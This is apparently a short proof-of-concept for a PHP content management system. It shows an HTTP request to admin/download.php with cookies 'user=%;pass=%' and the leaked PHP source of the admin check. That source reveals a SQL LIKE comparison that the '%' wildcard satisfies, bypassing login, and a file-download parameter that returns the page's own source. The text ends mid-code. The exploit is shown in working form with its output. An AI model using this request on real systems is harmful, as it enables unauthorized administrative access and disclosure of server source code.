GET /3.gov.php/admin/download.php?DownName=download.Php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: user=%;pass=%;
Connection: close
Upgrade-Insecure-Requests: 1

<?php
require '../conn/conn2.php';
require '../conn/function.php';

if ($_COOKIE["user"]=="" || $_COOKIE["pass"]==""){
    setcookie("user","");
    setcookie("pass","");
    setcookie("auth","");
    Header("Location:index.php");
    die();
}else{
    $sql="select * from SL_admin where A_login like '".filter_keyword($_COOKIE["user"])."' and A_pwd like '".filter_keyword($_COOKIE["pass"])."'";
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);
    if (mysqli_num_rows($result) > 0) {

    }else{